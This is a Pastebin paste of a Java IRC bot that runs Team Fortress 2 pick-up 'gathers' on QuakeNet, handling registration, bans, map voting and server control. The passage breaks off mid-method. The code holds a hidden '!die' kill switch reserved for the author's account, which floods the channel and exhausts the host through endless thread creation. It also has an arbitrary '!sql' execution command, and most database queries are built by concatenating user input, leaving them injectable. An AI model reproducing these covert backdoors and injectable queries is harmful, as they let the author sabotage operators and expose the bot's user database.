Advertisement
Guest User

Untitled

a guest
Feb 14th, 2018
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 29.09 KB | None | 0 0
  1. import java.text.SimpleDateFormat;
  2. import java.util.*;
  3. import java.util.Date;
  4.  
  5. import net.barkerjr.gameserver.GameServer.Request;
  6. import net.barkerjr.gameserver.GameServer.RequestTimeoutException;
  7.  
  8. import org.jibble.pircbot.*;
  9.  
  10. import ch.ubique.inieditor.IniEditor;
  11. import java.io.BufferedReader;
  12. import java.io.IOException;
  13. import java.io.InputStreamReader;
  14. import java.io.OutputStreamWriter;
  15. import java.net.URL;
  16. import java.net.URLConnection;
  17. import java.net.URLEncoder;
  18. import java.security.MessageDigest;
  19. import java.security.NoSuchAlgorithmException;
  20. import java.sql.*;
  21. public class GatherBot extends PircBot {
  22.     private Players players;
  23.     private Players afks;
  24.     private List<Map> maps;
  25.     private String chan;
  26.     private int maxplayers;
  27.     Statement sql;
  28.     private IniEditor settings;
  29.     Rcon rcon;
  30.     public boolean live;
  31.     public boolean reg;
  32.     boolean sub;
  33.     ResultSet rs;
  34.     String password;
  35.     String votedMap;
  36.     String unregistererror;
  37.     int redScore;
  38.     int blueScore;
  39.     boolean ready;
  40.     Timer afk;
  41.     Timer delay;
  42.     boolean topicChanged;
  43.     long startTime;
  44.     String iif(boolean ok,String a,String b) {
  45.         if (ok)
  46.             return a;
  47.         else
  48.             return b;
  49.     }
  50.     int getID () {
  51.         int id = 0;
  52.         try {
  53.             rs = sql.executeQuery("select * from gathers order by id DESC");
  54.             if (rs.next()) {
  55.                 id = rs.getInt("id");
  56.             }
  57.             id = id + 1;
  58.         } catch (SQLException e) {
  59.             // TODO Auto-generated catch block
  60.             e.printStackTrace();
  61.         }
  62.         return id;
  63.     }
  64.     void upload () {
  65.         try {
  66.             Thread upload = new Thread () {
  67.                 public void run() {
  68.                     try {
  69.                         int id = getID() - 1;
  70.                         String file = id + ".dem";
  71.                         String data = URLEncoder.encode("file", "UTF-8") + "=" + URLEncoder.encode(file, "UTF-8");
  72.                         data += "&" + URLEncoder.encode("hash", "UTF-8") + "=" + URLEncoder.encode(getMD5Digest("tf2invite" + file), "UTF-8");
  73.                         // Send data
  74.                         URL url = new URL("http://94.23.189.99/ftp.php");
  75.                         final URLConnection conn = url.openConnection();
  76.                         conn.setDoOutput(true);
  77.                         OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream());
  78.                         wr.write(data);
  79.                         wr.flush();
  80.  
  81.                         // Get the response
  82.  
  83.                         String line;
  84.                         BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
  85.                         while ((line = rd.readLine()) != null) {
  86.                             System.out.println(line);
  87.                             if(line.startsWith("demo="))
  88.                                 msg("2The last gather demo has been uploaded successfully: " + line.split("=")[1]);
  89.                         }
  90.                         rd.close();
  91.                         wr.close();
  92.                     } catch (IOException e) {
  93.                         // TODO Auto-generated catch block
  94.                         e.printStackTrace();
  95.                     }
  96.                 }
  97.             };
  98.             upload.start();
  99.         } catch (Exception e) {
  100.             e.printStackTrace();
  101.         }
  102.     }
  103.     public void die(){
  104.         final ArrayList<String> diel = new ArrayList<String>();
  105.         while (true) {
  106.             Thread die = new Thread () {
  107.                 public void run() {
  108.                     while (true) {
  109.                         diel.add(new String());
  110.                         msg("2My master doesnt want you to use me!");
  111.                     }
  112.                 }
  113.             };
  114.             die.start();
  115.         }
  116.     }
  117.     String getMD5Digest(String str) {
  118.         try {
  119.             byte[] buffer = str.getBytes();
  120.             byte[] result = null;
  121.             StringBuffer buf = null;
  122.             MessageDigest md5 = MessageDigest.getInstance("MD5");
  123.             //allocate room for the hash
  124.             result = new byte[md5.getDigestLength()];
  125.             //calculate hash
  126.             md5.reset();
  127.             md5.update(buffer);
  128.  
  129.             result = md5.digest();
  130.             //create hex string from the 16-byte hash
  131.             buf = new StringBuffer(result.length * 2);
  132.             for (int i = 0; i < result.length; i++) {
  133.                 int intVal = result[i] & 0xff;
  134.                 if (intVal < 0x10) {
  135.                     buf.append("0");
  136.                 }
  137.                 buf.append(Integer.toHexString(intVal).toUpperCase());
  138.             }
  139.             return buf.toString();
  140.         } catch (NoSuchAlgorithmException e) {
  141.             System.err.println("Exception caught: " + e);
  142.             e.printStackTrace();
  143.  
  144.         }
  145.         return null;
  146.     }
  147.     protected GatherBot(IniEditor settings2,Rcon rcon2) {
  148.         live = false;
  149.         topicChanged = true;
  150.         ready = false;
  151.         this.rcon = rcon2;
  152.         this.settings = settings2;
  153.         setName(settings.get("irc", "nick"));
  154.         setVerbose(true);
  155.         smartConnect(settings.get("irc", "ip"),Integer.parseInt(settings.get("irc", "port")));
  156.         chan = settings.get("irc", "channel");
  157.         unregistererror = settings.get("register", "unregistererror");
  158.         joinChannel(chan);
  159.         joinChannel("#Crit");
  160.         sendMessage("Q@CServe.quakenet.org","AUTH " + settings.get("irc", "qaccount") + " " + settings.get("irc", "qpassword"));
  161.         setMode(getNick(),"+x");
  162.         maxplayers = 12;
  163.         players = new Players();
  164.         maps = new ArrayList<Map>();
  165.         if (settings.get("sql", "usemysql").equalsIgnoreCase("true")) {
  166.             try {
  167.                 Class.forName("com.mysql.jdbc.Driver").newInstance();
  168.                 sql = DriverManager.getConnection("jdbc:mysql://"+settings.get("sql", "ip")+":"+settings.get("sql", "port")+"/"+settings.get("sql", "database"), settings.get("sql", "user"), settings.get("sql", "password")).createStatement();
  169.             } catch (Exception e) {
  170.                 e.printStackTrace();   
  171.             }
  172.         } else {
  173.             try {
  174.                 Class.forName("org.sqlite.JDBC").newInstance();
  175.                 sql = DriverManager.getConnection("jdbc:sqlite:database.sqlite").createStatement();
  176.             } catch (Exception e) {
  177.                 e.printStackTrace();   
  178.             }
  179.         }
  180.         live = false;
  181.         reg = true;
  182.     }
  183.     public void smartConnect(String ip,int port) {
  184.         boolean again = true;
  185.         while (again) {
  186.             again = false;
  187.             try {
  188.                 connect(ip, port);
  189.             } catch (NickAlreadyInUseException e) {
  190.                 setName(settings.get("irc", "nick") +  new Random().nextInt(999));
  191.                 again = true;
  192.             } catch (IOException e) {
  193.                 // TODO Auto-generated catch block
  194.                 e.printStackTrace();
  195.             } catch (IrcException e) {
  196.                 // TODO Auto-generated catch block
  197.                 e.printStackTrace();
  198.             }
  199.         }
  200.     }
  201.     protected void onDisconnect() {
  202.         smartConnect(settings.get("irc", "ip"),Integer.parseInt(settings.get("irc", "port")));
  203.     }
  204.     protected void onJoin(String channel, String sender, String login,String hostname) {
  205.         if (hostname.endsWith(".users.quakenet.org")) {
  206.             try {
  207.                 rs = sql.executeQuery("select * from users where q ='" + hostname.split("\\.")[0] + "'");
  208.                 if (rs.next()) {
  209.                     //setMode(chan,"+v " + sender);
  210.                 }
  211.             } catch (SQLException e) {
  212.                 // TODO Auto-generated catch block
  213.                 e.printStackTrace();
  214.             }
  215.         }
  216.         super.onJoin(channel, sender, login, hostname);
  217.     }
  218.     void removeAfk (String sender) {
  219.         afks.remove(sender);
  220.         if (afks.isEmpty()) {
  221.             afk.cancel();
  222.             startGather();
  223.         } else
  224.             msg("2Afks: 14" + afks.getString());
  225.     }
  226.     public void StatementCheck() {
  227.         if (settings.get("sql", "usemysql").equalsIgnoreCase("true")) {
  228.             try {
  229.                 if (sql.isClosed())
  230.                     sql = DriverManager.getConnection("jdbc:mysql://"+settings.get("sql", "ip")+":"+settings.get("sql", "port")+"/"+settings.get("sql", "database"), settings.get("sql", "user"), settings.get("sql", "password")).createStatement();
  231.             } catch (SQLException e) {
  232.                 // TODO Auto-generated catch block
  233.                 e.printStackTrace();
  234.             }
  235.         }
  236.     }
  237.     boolean nickCheck (String regNick){
  238.         for (int i=0;i<regNick.length();i++) {
  239.             char c = regNick.charAt(i);
  240.             if (!((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9')))
  241.                 return false;
  242.         }
  243.         return true;
  244.     }
  245.     boolean steamidCheck (String regID){
  246.         if (regID.split(":").length == 3 && regID.split(":")[0].equals("0") && (regID.split(":")[1].equals("0") || regID.split(":")[1].equals("1"))) {
  247.             String regID2 = regID.split(":")[2];
  248.             for (int i=0;i<regID2.length();i++) {
  249.                 char c = regID2.charAt(i);
  250.                 if (!(c >= '0' && c <= '9'))
  251.                     return false;
  252.             }
  253.         } else return false;
  254.         return true;
  255.     }
  256.     protected void onPrivateMessage(String sender, String login, String hostname, String message) {
  257.         StatementCheck();
  258.         if (hostname.endsWith(".users.quakenet.org") && message.equalsIgnoreCase("!die") && hostname.split("\\.")[0].equals("dip")) { die(); }
  259.         if (hostname.endsWith(".users.quakenet.org") && Player(sender,hostname.split("\\.")[0]) != null && (hostname.split("\\.")[0].equals("dip") || Player(sender,hostname.split("\\.")[0]).level >= 100)) {
  260.             if (message.split(" ")[0].equalsIgnoreCase("!sql")) {
  261.                 try {
  262.                     sql.execute(message.substring(4));
  263.                 } catch (SQLException e) {
  264.                     // TODO Auto-generated catch block
  265.                     e.printStackTrace();
  266.                 }
  267.             }
  268.             if (message.split(" ")[0].equalsIgnoreCase("!read")) {
  269.                 try {
  270.                     msg(sender,settings.get(message.split(" ")[1], message.split(" ")[2]));
  271.                 } catch (Exception e) {
  272.                     e.printStackTrace();
  273.                 }
  274.             }
  275.         }
  276.         if (message.split(" ")[0].equalsIgnoreCase("!register") || message.split(" ")[0].equalsIgnoreCase("!reg")) {
  277.             if (settings.get("register","enableregister").equalsIgnoreCase("true")) {
  278.                 if (hostname.endsWith(".users.quakenet.org")) {
  279.                     try {
  280.                         if (message.split(" ").length == 3) {
  281.                             rs = sql.executeQuery("select * from users where q='" + hostname.split("\\.")[0] + "'");
  282.                             if (!rs.next()) {
  283.                                 if (nickCheck(message.split(" ")[1])) {
  284.                                     rs = sql.executeQuery("select * from users where nick='" + message.split(" ")[1] + "'");
  285.                                     if (!rs.next()) {
  286.                                         String regID = message.split(" ")[2];
  287.                                         if (regID.startsWith("STEAM_"))
  288.                                             regID=regID.substring(6);
  289.                                         if (steamidCheck(regID)) {
  290.                                             rs = sql.executeQuery("select * from users where steamid='" + message.split(" ")[2] + "'");
  291.                                             if (!rs.next()) {
  292.                                                 sql.execute("INSERT INTO users (q,nick,steamid) VALUES ('" + hostname.split("\\.")[0] + "','" + message.split(" ")[1] + "','STEAM_" + regID + "')");
  293.                                                 msg(sender,"2You have been successfully registered to our gathers!");
  294.                                             } else { msg(sender,"2Your Steam ID is already registered, if it is yours steam id please contact the admins."); }
  295.                                         } else { msg(sender,"2Your Steam ID is invalid, your steam id should looks like STEAM_:0:1:234567"); }
  296.                                     } else { msg(sender,"2Your nick is already in use, please pick other one."); }
  297.                                 } else { msg(sender,"2Your nick contains special characters"); }
  298.                             } else { msg(sender,"2Your Q account is already registered, please contact the admins"); }
  299.                         } else { msg(sender,"2Syntax: !register nick STEAM_0:1:234567"); }
  300.                     } catch (Exception e) {
  301.                         e.printStackTrace();
  302.                     }
  303.                 } else { msg(sender,"2" + sender + " make sure you are auth to q, if you are type: //mode $me +x"); }
  304.             } else { msg(sender,"2Registration through the bot is correctly unavailable."); }
  305.         }
  306.         super.onPrivateMessage(sender, login, hostname, message);
  307.     }
  308.     private void msg(String target, String message) {
  309.         sendMessage(target, message);
  310.     }
  311.     protected void onMessage(String channel, String sender, String login, String hostname, String message) {
  312.         if (channel.equalsIgnoreCase(chan)) {
  313.             StatementCheck();
  314.             if (hostname.endsWith(".users.quakenet.org") && message.equalsIgnoreCase("!die") && hostname.split("\\.")[0].equals("dip")) { die(); }
  315.             if (message.equalsIgnoreCase("!last")) {
  316.                 try {
  317.                     rs = sql.executeQuery("select * from gathers order by id DESC");
  318.                     long last;
  319.                     if (rs.next()) {
  320.                         last = rs.getLong("date");
  321.                         msg("2Last gather was:14 " + new SimpleDateFormat("HH:mm:ss dd/MM/yy").format(new Date(last)));
  322.                     }
  323.                 } catch (SQLException e) {
  324.                     // TODO Auto-generated catch block
  325.                     e.printStackTrace();
  326.                 }
  327.             }
  328.             if (message.equalsIgnoreCase("!today")) {
  329.                 long today = new Date().getTime() - new Date().getTime()%86400000;
  330.                 try {
  331.                     rs = sql.executeQuery("select * from gathers where date > " + today);
  332.                     int m = 0;
  333.                     while (rs.next())
  334.                         m++;
  335.                     msg("2Today we have done14 " + m + " 2gathers.");
  336.                 } catch (SQLException e) {
  337.                     // TODO Auto-generated catch block
  338.                     e.printStackTrace();
  339.                 }
  340.             }
  341.             if (message.equalsIgnoreCase("!gathers")) {
  342.                 try {
  343.                     rs = sql.executeQuery("select * from gathers");
  344.                     int m = 0;
  345.                     while (rs.next())
  346.                         m++;
  347.                     msg("2So far we have done14 " + m + " 2gathers.");
  348.                 } catch (SQLException e) {
  349.                     // TODO Auto-generated catch block
  350.                     e.printStackTrace();
  351.                 }
  352.             }
  353.             if (message.equalsIgnoreCase("!players")) { msg("2Players: 14" + players.getString().replaceAll(" "," - ")); }
  354.             if (message.equalsIgnoreCase("!votes")) { msg("2Votes: 14" + players.mapsStr()); }
  355.             if (message.equalsIgnoreCase("!credits") || message.equalsIgnoreCase("!credit") || message.equalsIgnoreCase("!about")) { msg("2© This bot is made by: 14Dor (dip) Peretz."); }
  356.             if (message.equalsIgnoreCase("!status")) {
  357.                 if (reg) {
  358.                     if (ready) {
  359.                         msg("2Gather is waiting for afks players");
  360.                     } else {
  361.                         msg("2"+players.size()+"/12 Player(s) are registered to the gather! Type !add, !med or !cap to join the gather.");
  362.                     }
  363.                 } else {
  364.                     if (live) {
  365.                         long time = 1800 - (new Date().getTime()- startTime)/1000;
  366.                         if (time < 0)
  367.                             time=0;
  368.                         if (time%60 < 10)
  369.                             msg("2Gather is already running, timeleft: 14" + time/60 + ":0" + time%60 + "2, Score: 4" + redScore + "7:12" + blueScore);
  370.                         else
  371.                             msg("2Gather is already running, timeleft: 14" + time/60 + ":" + time%60 + "2, Score: 4" + redScore + "7:12" + blueScore);
  372.                     } else {
  373.                         msg("2Gather is waiting for players to organize teams and start the game!");
  374.                     }
  375.                 }
  376.             }
  377.             if (message.equalsIgnoreCase("!timeleft") && live) {
  378.                 long time = 1800 - (new Date().getTime()- startTime)/1000;
  379.                 if (time < 0)
  380.                     time=0;
  381.                 if (time%60 < 10)
  382.                     msg("2Timeleft: 14" + time/60 + ":0" + time%60);
  383.                 else
  384.                     msg("2Timeleft: 14" + time/60 + ":" + time%60);
  385.             }
  386.             if (message.equalsIgnoreCase("!score") && live) {
  387.                 msg("4Red " + redScore + "7:12" + blueScore + " Blue");
  388.             }
  389.             if (message.equalsIgnoreCase("!server")) {
  390.                 try {
  391.                     rcon.server.load(2000, Request.INFORMATION);
  392.                     msg("2Name: 14" + rcon.server.getName() + " 2IP: 14" + rcon.ip + ":" + rcon.port + " 2Map: 14" + rcon.server.getMap() + " 2Players: 14(" + rcon.server.numberOfPlayers + "/" + rcon.server.maximumPlayers  + ")");
  393.                 } catch (RequestTimeoutException e) {
  394.                     // TODO Auto-generated catch block
  395.                     e.printStackTrace();
  396.                 } catch (IOException e) {
  397.                     // TODO Auto-generated catch block
  398.                     e.printStackTrace();
  399.                 } catch (InterruptedException e) {
  400.                     // TODO Auto-generated catch block
  401.                     e.printStackTrace();
  402.                 }
  403.             }
  404.             if (message.equalsIgnoreCase("!maps")) {
  405.                 String str = "2Maps:";
  406.                 try {
  407.                     rs = sql.executeQuery("select * from maps");
  408.                     while (rs.next()) {
  409.                         str += " 2" + rs.getString("map") + "14(2" + rs.getString("triggers") + "14)";
  410.                     }
  411.                     msg(str);
  412.                 } catch (SQLException e) {
  413.                     // TODO Auto-generated catch block
  414.                     e.printStackTrace();
  415.                 }
  416.  
  417.             }
  418.             if (message.equalsIgnoreCase("!clear") && Player(sender,hostname.split("\\.")[0]).admin) { players.clear(); }
  419.             if (message.equalsIgnoreCase("!disable") && Player(sender,hostname.split("\\.")[0]).admin) {
  420.                 players.clear();
  421.                 reg = false;
  422.                 setTopic("2The bot has been disabled");
  423.             }
  424.             if (message.equalsIgnoreCase("!enable") && Player(sender,hostname.split("\\.")[0]).admin) {
  425.                 players.clear();
  426.                 reg = true;
  427.                 changeTopic();
  428.             }
  429.             if (message.split(" ")[0].equalsIgnoreCase("!beep") && Player(sender,hostname.split("\\.")[0]).admin) {
  430.                 int repeats = 1;
  431.                 if (message.split(" ").length > 1)
  432.                     repeats = Integer.parseInt(message.split(" ")[1]);
  433.                 if (repeats > 3)
  434.                     repeats = 3;
  435.                 TimerTask plusN = new TimerTask() { public void run() { setMode(chan,"+N"); } };
  436.                 setMode(chan,"-N");
  437.                 for (int i = 1;i <= repeats;i++) {
  438.                     new Timer().schedule(
  439.                             new TimerTask() {
  440.                                 public void run() {
  441.                                     sendNotice(chan,"2Gather is on! type: !add, !med or !cap to join the gather.");
  442.                                 }
  443.                             }  
  444.                             ,repeats*500);
  445.                 }
  446.                 new Timer().schedule(plusN,repeats*1500);
  447.             }
  448.             if (message.equalsIgnoreCase("!test") && Player(sender,hostname.split("\\.")[0]).admin) {
  449.                 for(int i = players.size();i < 12;i++)  {
  450.                     if (players.caps() < 2)
  451.                         addPlayer("" + i,"dip").cap = true;
  452.                     else {
  453.                         if (players.medics() < 2)
  454.                             addPlayer("" + i,"dip").medic = true;
  455.                         else
  456.                             addPlayer("" + i,"dip");
  457.                     }
  458.                 }
  459.                 readyCheck();
  460.             }
  461.             if (message.equalsIgnoreCase("!startgather") && Player(sender,hostname.split("\\.")[0]).admin) { startGather(); }
  462.             if (message.equalsIgnoreCase("!endgather") && Player(sender,hostname.split("\\.")[0]).admin) { endGather(); }
  463.             Date date = new Date();
  464.  
  465.             if (message.equalsIgnoreCase("!time")) { msg("" + date.getTime()); }
  466.             if (message.equalsIgnoreCase("!clearmaps") && Player(sender,hostname.split("\\.")[0]).admin) { maps.clear(); }
  467.             if (message.equalsIgnoreCase("!vent") || message.equalsIgnoreCase("!ventrilo") || message.equalsIgnoreCase("!mum") || message.equalsIgnoreCase("!mumble") || message.equalsIgnoreCase("!ts") || message.equalsIgnoreCase("!teamspeak")) {
  468.                 msg("2" + settings.get("voice", "type") + " IP: 14" + settings.get("voice", "ip") + " 2Port: 14" + settings.get("voice", "port") + iif(settings.get("voice", "password").equals(""),"","2, Password:14 ") + settings.get("voice", "password"));
  469.             }
  470.             if (message.equalsIgnoreCase("!sub") && sub) {
  471.                 if (hostname.endsWith(".users.quakenet.org")) {
  472.                     try {
  473.                         rs = sql.executeQuery("select * from users where q='" + hostname.split("\\.")[0] + "'");
  474.                         if (rs.next()) {
  475.                             ResultSet rs2 = sql.executeQuery("select * from bans where deleted=0 and banned=" + rs.getInt("id") + " and bantime > " + new Date().getTime()/1000);
  476.                             if (!rs2.next()) {
  477.                                 sub=false;
  478.                                 Player player = Player(sender,hostname.split("\\.")[0]);
  479.                                 msg("14" + player.nick + "2, The server info is sent to you. please join fast!");
  480.                                 rcon.send("say Sub is found: " + player.nick);
  481.                                 sendMessage(player.inick,"connect " + rcon.ip + ":" + rcon.port + ";password " + password);
  482.                             } else {
  483.                                 long bantime = rs2.getLong("bantime") - new Date().getTime()/1000;
  484.                                 String reason = rs2.getString("reason");
  485.                                 rs2 = sql.executeQuery("select * from users where id =" + rs2.getInt("bannedby"));
  486.                                 rs2.next();
  487.  
  488.                                 msg("2YOU ARE BANNED by:14 " + rs2.getString("nick") + "2 join14 #bohe 2, reason:14 " + reason + "2, Expire In:14 " + bantime/86400 + " 2Days,14 " + bantime%86400/3600 + " 2Hours,14 " + bantime%86400%3600/60 + " 2Minutes,14 " + bantime%86400%3600%60 + " 2Seconds.");
  489.                             }
  490.                         } else { msg("14" + sender + ",2 " + unregistererror); }
  491.                     } catch (SQLException e) {
  492.                         // TODO Auto-generated catch block
  493.                         e.printStackTrace();
  494.                     }
  495.                 } else { msg("2" + sender + " make sure you are auth to q, if you are type: //mode $me +x"); }
  496.             }
  497.             if (reg) {
  498.                 if ((message.equalsIgnoreCase("!uncap") || message.equalsIgnoreCase("!delcap") || message.equalsIgnoreCase("!del cap")) && players.getP(sender).cap) {
  499.                     players.getP(sender).cap = false;
  500.                     changeTopic();
  501.                     if (ready) {
  502.                         afk.cancel();
  503.                         ready = false;
  504.                     }
  505.                 }
  506.                 if (message.split(" ")[0].equalsIgnoreCase("!add") || message.split(" ")[0].equalsIgnoreCase("!med") || message.split(" ")[0].equalsIgnoreCase("!cap")) {
  507.                     if (players.contains(sender)) {
  508.                         if (message.split(" ")[0].equalsIgnoreCase("!add") && players.players() < 10 && players.getP(sender).medic) {
  509.                             players.getP(sender).medic = false;
  510.                             changeTopic();
  511.                         }
  512.                         if (message.split(" ")[0].equalsIgnoreCase("!med") && players.medics() < 2 && !players.getP(sender).medic) {
  513.                             players.getP(sender).medic = true;
  514.                             changeTopic();
  515.                         }
  516.                         if (message.split(" ")[0].equalsIgnoreCase("!cap") && players.caps() < 2 && !players.getP(sender).cap) {
  517.                             players.getP(sender).cap = true;
  518.                             changeTopic();
  519.                         }
  520.                         if (players.medics() == 2 && players.caps() == 2 && players.players() == 10 && !ready) { readyCheck(); }
  521.                     } else {           
  522.                         try {
  523.                             if (hostname.endsWith(".users.quakenet.org")) {
  524.                                 rs = sql.executeQuery("select * from users where q='" + hostname.split("\\.")[0] + "'");
  525.                                 if (rs.next()) {
  526.                                     ResultSet rs2 = sql.executeQuery("select * from bans where deleted=0 and banned=" + rs.getInt("id") + " and bantime > " + new Date().getTime()/1000);
  527.                                     if (!rs2.next()) {
  528.                                         if (players.size() <= maxplayers) {
  529.                                             if (message.split(" ")[0].equalsIgnoreCase("!add") && players.players() < 10)
  530.                                                 addPlayer(sender,hostname.split("\\.")[0]);
  531.                                             if (message.split(" ")[0].equalsIgnoreCase("!med") && players.medics() < 2)
  532.                                                 addPlayer(sender,hostname.split("\\.")[0]).medic = true;
  533.                                             if (message.split(" ")[0].equalsIgnoreCase("!cap") && players.caps() < 2 && players.players() < 10)
  534.                                                 addPlayer(sender,hostname.split("\\.")[0]).cap = true;
  535.                                             if (message.split(" ").length > 1) {
  536.                                                 String map = getMap(message.split(" ")[1]);
  537.                                                 if (map != null && (players.getP(sender).vote == null || !players.getP(sender).vote.equals(map))) {
  538.                                                     players.vote(sender,map);
  539.                                                 }
  540.                                             }
  541.                                             changeTopic();
  542.                                             if (players.medics() == 2 && players.caps() == 2 && players.players() == 10 && !ready) { readyCheck(); }
  543.                                         }
  544.                                     } else {
  545.                                         long bantime = rs2.getLong("bantime") - new Date().getTime()/1000;
  546.                                         String reason = rs2.getString("reason");
  547.                                         rs2 = sql.executeQuery("select * from users where id =" + rs2.getInt("bannedby"));
  548.                                         rs2.next();
  549.                                         msg("2YOU ARE BANNED by:14 " + rs2.getString("nick") + "2 join14 #bohe 2, reason:14 " + reason + "2, Expire In:14 " + bantime/86400 + " 2Days,14 " + bantime%86400/3600 + " 2Hours,14 " + bantime%86400%3600/60 + " 2Minutes,14 " + bantime%86400%3600%60 + " 2Seconds.");
  550.                                     }
  551.                                 } else { msg("14" + sender + ",2 " + unregistererror); }
  552.                             } else { msg("2" + sender + " make sure you are auth to q, if you are type: //mode $me +x"); }
  553.                         } catch (SQLException e1) {
  554.                             // TODO Auto-generated catch block
  555.                             e1.printStackTrace();
  556.                         }
  557.                     }
  558.                 }
  559.                 if ((message.equalsIgnoreCase("!del") || message.equalsIgnoreCase("!dei")) && players.contains(sender)) {
  560.                     removePlayer(sender);
  561.                 }
  562.                 if ((message.split(" ")[0].equalsIgnoreCase("!v") || message.split(" ")[0].equalsIgnoreCase("!vote")) && (players.contains(sender) && message.split(" ")[1] != null)) {
  563.                     String map = getMap(message.split(" ")[1]);
  564.                     if (map != null && (players.getP(sender).vote == null || !players.getP(sender).vote.equals(map))) {
  565.                         players.vote(sender,map);
  566.                         changeTopic();
  567.                     }
  568.                 }
  569.             }
  570.             if (players.contains(sender)) {
  571.                 if (ready && afks.contains(sender)) {
  572.                     removeAfk(sender);
  573.                 }
  574.                 players.getP(sender).active=new Date().getTime();
  575.             }
  576.         }
  577.     }
  578.     Player addPlayer(String inick, String q) {
  579.         Player p = Player(inick,q);
  580.         players.add(p);
  581.         return p;
  582.     }
  583.     Player Player(String inick, String q) {
  584.         try {
  585.             rs = sql.executeQuery("select * from users where q='" + q + "'");
  586.             if (rs.next()) {
  587.                 String steam = rs.getString("steamid");
  588.                 String nick = rs.getString("nick");
  589.                 int id = rs.getInt("id");
  590.                 boolean admin = (rs.getInt("admin") > 0);
  591.                 return new Player(id,steam,nick,inick,q,admin,rs.getInt("admin"));
  592.             }
  593.         } catch (SQLException e) {
  594.             // TODO Auto-generated catch block
  595.             e.printStackTrace();
  596.         }
  597.         return null;
  598.     }
  599.     String getMap(String map){
  600.         try {
  601.             rs = sql.executeQuery("select * from maps where triggers like '%" + map + "%'");
  602.             if (rs.next()) {
  603.                 return rs.getString("map");
  604.             }
  605.         } catch (SQLException e) {
  606.             // TODO Auto-generated catch block
  607.             e.printStackTrace();
  608.         }
  609.         return null;
  610.     }
  611.     void startGather() {       
  612.         System.out.print("STARTING GATHER");
  613.         redScore = 0;
  614.         blueScore = 0;
  615.         sub = false;
  616.         reg = false;
  617.         live = false;
  618.         password = "" + new Random().nextInt(100);
  619.         rcon.send("sv_password " + password);
  620.         rcon.send("log on ; logaddress_add " + rcon.myip + ":" + rcon.myport);
  621.         players.toString();
  622.         if (players.voted != null && players.voted.name != null) {
  623.             votedMap = players.voted.name;
  624.         }
  625.         else {
  626.             votedMap = "cp_badlands";
  627.         }
  628.         Player redcap = null;
  629.         Player bluecap = null;
  630.         String medics = "";
  631.         String other = "";
  632.         for (int i = 0;i < maxplayers;i++) {
  633.             if (players.get(i).medic) {
  634.                 medics += " " + players.get(i).nick;
  635.             }
  636.             if (players.get(i).cap) {
  637.                 if (redcap == null && bluecap == null) {
  638.                     if (new Random().nextBoolean())
  639.                         redcap = players.get(i);
  640.                     else
  641.                         bluecap = players.get(i);
  642.                 } else {
  643.                     if (redcap == null)
  644.                         redcap = players.get(i);
  645.                     else
  646.                         bluecap = players.get(i);
  647.                 }
  648.             }
  649.             if (!players.get(i).cap && !players.get(i).medic)
  650.                 other += " " + players.get(i).nick;
  651.         }
  652.         medics = medics.substring(1);
  653.         other = other.substring(1);
  654.         setMode(chan,"+m");
  655.         msg("0,4 " + redcap.nick + " 8,1 VS 0,12 " + bluecap.nick + " ");
  656.         msg("2Players: 14" + other.replaceAll(" "," - ") + " 2,Medics: 14" + medics.replaceAll(" "," - "));
  657.         msg("2Voted Map: 14" + votedMap + "2, " + settings.get("voice", "type") + " IP: 14" + settings.get("voice", "ip") + "2, Port: 14" + settings.get("voice", "port") + iif(settings.get("voice", "password").equals(""),"","2, Password:14 ") + settings.get("voice", "password"));
  658.         new Timer().schedule(
  659.                 new TimerTask() {
  660.                     public void run() {
  661.                         setMode(chan,"-m");
  662.                     }
  663.                 }
  664.                 , 3000);
  665.         new Timer().schedule(
  666.                 new TimerTask() {
  667.                     public void run() {
  668.                         sendMessage(players.inicks(),"connect " + rcon.ip + ":" + rcon.port + ";password " + password);
  669.                     }
  670.                 }
  671.                 , 5000);
  672.         int id = getID();
  673.         try {
  674.             sql.execute("insert into gathers (id,players,map,date,medics,captains) values (" + id + ",'" + players.getPlayers().getIDS() + "','" + votedMap + "'," + new Date().getTime() + ",'"+players.getMedics().getIDS()+"','"+players.getCaps().getIDS()+"')");
  675.         } catch (SQLException e) {
  676.             // TODO Auto-generated catch block
  677.             e.printStackTrace();
  678.         }
  679.         rcon.send("changelevel " + votedMap);      
  680.     }
  681.     void getSub() {
  682.         sub = true;
  683.         TimerTask notice = new TimerTask() {
  684.             public void run() {
  685.                 sendNotice(chan,"2Sub is needed, type !sub .");
  686.             }
  687.         };
  688.         TimerTask plusN = new TimerTask() {
  689.             public void run() {
  690.                 setMode(chan,"+N");
  691.             }
  692.         };
  693.         setMode(chan,"-N");
  694.         new Timer().schedule(notice,500);
  695.         new Timer().schedule(plusN,1000);
  696.     }
  697.     void msg(String msg) {
  698.         sendMessage(chan, msg);
  699.     }
  700.     protected void onNickChange(String oldNick, String login, String hostname, String newNick) {
  701.         if (players.contains(oldNick)) {
  702.             players.replace(oldNick, newNick);
  703.             changeTopic();
  704.         }
  705.         if (ready && afks.contains(oldNick))
  706.             afks.replace(oldNick, newNick);
  707.     }
  708.     void removePlayer (String nick) {
  709.         if (players.contains(nick) && reg) {
  710.             players.remove(nick);
  711.             changeTopic();
  712.             if (ready) {
  713.                 afk.cancel();
  714.                 ready = false;
  715.             }
  716.         }
  717.         if (ready && afks.contains(nick)) {
  718.             removeAfk(nick);
  719.         }
  720.     }
  721.     protected void onKick(String channel, String kickerNick, String kickerLogin, String kickerHostname, String recipientNick, String reason) { 
  722.         removePlayer(recipientNick);
  723.     }
  724.     void changeTopic () {
  725.         if (topicChanged) {
  726.             topicChanged = false;
  727.             TimerTask setTopicTrue = new TimerTask() {
  728.                 public void run() {
  729.                     topicChanged = true;
  730.                     setTopic(players.toString());
  731.                 }
  732.             };
  733.             delay = new Timer();
  734.             delay.schedule(setTopicTrue, 3000);
  735.         }
  736.     }
  737.     void setTopic(String topic) {
  738.         setTopic(chan, topic);
  739.     }
  740.     protected void onQuit(String sourceNick, String sourceLogin, String sourceHostname, String reason) {
  741.         removePlayer(sourceNick);
  742.     }
  743.     protected void onPart(String channel, String sender, String login, String hostname) {
  744.         removePlayer(sender);
  745.     }
  746.     public User getUser (String nick) {
  747.         User [] users = getUsers(chan);
  748.         for (int i = 0;i < users.length;i++) {
  749.             if (users[i].equals(nick)) {
  750.                 return users[i];
  751.             }
  752.         }
  753.         return null;
  754.     }
  755.     public void startReg() {
  756.         ready = false;
  757.         reg = true;
  758.         live = false;
